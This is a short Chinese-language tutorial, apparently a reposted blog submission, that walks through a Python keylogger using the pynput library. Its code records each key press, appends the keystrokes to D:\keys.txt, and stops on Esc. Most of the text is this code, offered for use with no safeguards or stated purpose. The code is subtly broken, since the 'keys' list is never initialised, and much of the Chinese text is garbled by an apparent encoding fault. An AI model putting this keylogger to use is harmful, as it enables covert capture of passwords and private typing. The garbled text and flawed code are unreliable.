python 實(shí)現(xiàn)的鍵盤(pán)記錄器 小功能
一、安裝pynput模塊
PS C:\WINDOWS\system32> pip install pynput Looking in indexes: http://mirrors.aliyun.com/pypi/simple Requirement already satisfied: pynput in f:\develop\Python36\lib\site-packages (1.7.2) Requirement already satisfied: six in f:\develop\Python36\lib\site-packages (from pynput) (1.10.0)
二、編寫(xiě)代碼
1、引入鍵盤(pán)模塊
from pynput.keyboard import Key, Controller,Listener import time
2、讀取鍵盤(pán)操作
記錄鍵盤(pán)操作,并將記錄寫(xiě)入D:\keys.txt路徑下
def on_press(key): global keys string = str(key).replace("'","") keys.append(string) key_rcord= "".join(keys) if len(key_rcord)>15: with open('D:\keys.txt', 'a') as f: f.write(key_rcord) keys= []
3、設(shè)置停止記錄觸發(fā)事件
當(dāng)按到鍵盤(pán)esc時(shí),停止運(yùn)行記錄程序
def on_release(key): if key == Key.esc: return False
4、啟動(dòng)監(jiān)聽(tīng)
with Listener(on_press=on_press,on_release=on_release) as listener: listener.join()
Python
版權(quán)聲明:本文內(nèi)容由網(wǎng)絡(luò)用戶投稿,版權(quán)歸原作者所有,本站不擁有其著作權(quán),亦不承擔(dān)相應(yīng)法律責(zé)任。如果您發(fā)現(xiàn)本站中有涉嫌抄襲或描述失實(shí)的內(nèi)容,請(qǐng)聯(lián)系我們jiasou666@gmail.com 處理,核實(shí)后本網(wǎng)站將在24小時(shí)內(nèi)刪除侵權(quán)內(nèi)容。
版權(quán)聲明:本文內(nèi)容由網(wǎng)絡(luò)用戶投稿,版權(quán)歸原作者所有,本站不擁有其著作權(quán),亦不承擔(dān)相應(yīng)法律責(zé)任。如果您發(fā)現(xiàn)本站中有涉嫌抄襲或描述失實(shí)的內(nèi)容,請(qǐng)聯(lián)系我們jiasou666@gmail.com 處理,核實(shí)后本網(wǎng)站將在24小時(shí)內(nèi)刪除侵權(quán)內(nèi)容。